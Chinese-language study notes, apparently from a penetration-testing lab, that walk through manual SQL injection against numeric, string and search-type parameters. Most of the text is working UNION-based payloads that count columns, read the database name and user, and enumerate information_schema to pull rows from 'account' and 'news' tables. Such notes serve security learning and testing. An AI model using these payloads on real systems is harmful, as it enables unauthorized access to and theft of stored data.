目錄
SQL隱碼攻擊
數字型
1.測試有無測試點
and 1=1,and 1=2
2.order by 語句判斷欄位長,查出欄位為3
-
order by 語句用於根據指定的列對結果集進行排序
-
order by後可以加列名,也可以加數字(代表第幾列)
id = 1 order by 3(數字) //返回正常
id = 1 order by 4(數字) //返回異常 //說明欄位長為3
3.猜出欄位位(必須與內部欄位數一致)(用union聯合查詢檢視回顯點為2,3)
id= -1 union select 1,2,3
4.猜資料庫名,使用者
id =-1 union select 1,database(),user()
5.聯合查詢(group_concat())點代表下一級,猜解當前資料庫pentest中所有的表名。
id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
6.猜列名( account 表和 news 表)
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'
7.查詢表中的資料
id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1
id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1
字元型
1.判斷是否存在注入
1' or '1'='1 //返回正常
1' or '1'='2 //返回異常
2.接下來利用order by判斷欄位長,帶入SQL查詢語句可直接查詢出資料(查詢語句和數字型一樣)
1' order by 3# //返回正常
1' order by 4# //返回異常
//注意#號用途:#起註釋作用,會註釋掉後面的' 單行註釋還可用-- (--後面需加一個空格)
//注意後面的SQL查詢語句末尾都得加一個#
搜尋型
1.搜尋型需要多閉合一個%,其他都與前面類似
-
首先判斷注入點
1%' or 1=1# 1%' or 1=2#
下面就和前面數字型步驟一樣,帶入查詢語句即可
1%' union select 1,database(),user()# //比如這裡查詢資料庫名和使用者